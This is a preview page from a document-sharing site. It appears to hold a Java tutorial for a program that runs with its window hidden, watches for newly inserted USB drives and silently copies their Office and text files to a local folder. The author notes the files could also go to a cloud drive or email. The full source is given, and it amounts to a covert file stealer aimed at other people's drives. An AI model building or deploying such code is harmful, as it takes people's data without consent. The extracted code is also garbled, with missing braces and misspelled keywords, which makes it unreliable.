java實現u盤指定內容的自動復制_第1頁
java實現u盤指定內容的自動復制_第2頁
java實現u盤指定內容的自動復制_第3頁
免費預覽已結束,剩余1頁可下載查看

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、程序的功能是,檢查U盤,并將U盤的內容自動拷貝到系統的某個盤符中。分享給大家,就當作是練習io流的小練習。這個小程序的實現方法如下:1、程序運行后隔一斷時間就檢查系統的盤符有沒有增加,通過File.listRoots()可獲取系統存在的盤符。2、如果盤符增加了,遍歷這個新增加的盤符,用字節流拷貝文件到指定的路徑。需要注意的是,由于U盤的內容可能很大,所以拷貝的時候最好指定要拷貝的文件類型,女口ppt,doc,txt等等。下面是這個小程序的相關代碼:在CopyThread類中可以指定要復制的文件類型,大家在fileTypes數組中加入相應的文件后綴名即可。如果要復制所有文件,將其設為null就行

2、了。在CopyFileToSysRoot類中可以指定存儲的路徑,當然,如果愿意的話,你可以將文件上傳到網盤,郵箱等等一、USBMain類,程序入口:importjava.awt.event.ActionEvent;importjava.awt.event.ActionListener;importjavax.swing.JButton;importjavax.swing.JFrame;publicclassUSBMainpublicstaticvoidmain(Stringargs)USBMainu=newUSBMain();u.launchFrame();開啟盤符檢查線程newCheckRo

3、otThread().start();/界面privatevoidlaunchFrame()finalJFrameframe=newJFrame();frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);frame.setLocation(450,250);JButtonhide=newJButton(”點擊隱藏窗口”);/點擊按鈕后隱藏窗口事件監聽hide.addActionListener(newActionListener()publicvoidactionPerformed(ActionEvente)frame.setVisible(

4、false););frame.add(hide);frame.pack();frame.setVisible(true);CheckRootThread類,此類用于檢查新盤符的出現,并觸發新盤符文件的拷貝。importjava.io.File;/此類用于檢查新盤符的出現,并觸發新盤符文件的拷貝publicclassCheckRootThreadextendsThread/獲取系統盤符privateFilesysRoot=File.listRoots();publicvoidrun()FilecurrentRoot=null;while(true)/當前的系統盤符currentRoot=File

5、.listRoots();if(currentRoot.length>sysRoot.length)for(inti=currentRoot.length-1;i>=0;i-)booleanisNewRoot=true;for(intj=sysRoot.length-1;j>=0;j-)/當兩者盤符不同時,觸發新盤符文件的拷貝if(currentRooti.equals(sysRootj)isNewRoot=false;if(isNewRoot)newCopyThread(currentRooti).start();sysRoot=File.listR

6、oots();每5秒時間檢查一次系統盤符tryThread.sleep(5000);catch(InterruptedExceptione)e.printStackTrace();三、CopyThread類,用于文件遍歷并選擇指定文件格式進行復制:importjava.io.File;/該類用于對新盤符文件的復制publicclassCopyThreadextendsThread/設置要復制的文件類型,如果要復制所有格式的文件,將fileTypes設為null即可privatestaticStringfileTypes="ppt","doc","

7、;txt","wps"/privatestaticStringfileTypes=null;Filefile=null;publicCopyThread(Filefile)this.file=file;publicvoidrun()listUsbFiles(file);/遍歷盤符文件,并匹配文件復制privatevoidlistUsbFiles(Fileufile)Filefiles=ufile.listFiles();for(Filef:files)if(f.isDirectory()listUsbFiles(f);elseif(fileTypeMatch(f)

8、newCopyFileToSysRoot(f).doCopy();/匹配要復制的文件類型publicbooleanfileTypeMatch(Filef)/fileTypes為null時,則全部復制if(fileTypes=nuII)returntrue;elsefor(Stringtype:fileTypes)if(f.getName().endsWith("."+type)returntrue;returnfalse;四、CopyFileToSysRoot類,復制文件的IO流實現:importjava.io.BufferedInputStream;importjava.

9、io.BufferedOutputStream;importjava.io.File;importjava.io.FileInputStream;importjava.io.FileNotFoundException;importjava.io.FileOutputStream;importjava.io.IOException;文件復制IOpublicclassCopyFileToSysRoot/復制文件保存路徑privatestaticfinalStringPATH="D:USB"privateFilefile=nuII;publicCopyFileToSysRoot(

10、Filefile)this.file=file;/復制文件publicvoiddoCopy()BufferedInputStreambis=nuII;BufferedOutputStreambos=null;tryII創建目錄FilefPath=newFile(getFileParent(file);if(!fPath.exists()fPath.mkdirs();bis=newBufferedInputStream(newFilelnputStream(file);bos=newBufferedOutputStream(newFileOutputStream(newFile(fPath,fi

11、le.getName();bytebuf=newbyte1024;intlen=0;while(len=bis.read(buf)!=-1)bos.write(buf,0,len);bos.flush();catch(FileNotFoundExceptione)e.printStackTrace();catch(lOExceptione)e.printStackTrace();finallytryif(bis!=null)bis.close();catch(lOExceptione)e.printStackTrace();tryif(bos!=null)bos.close();catch(lOExceptione)e.printStackTrace();II根據盤符中文件的路徑,

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論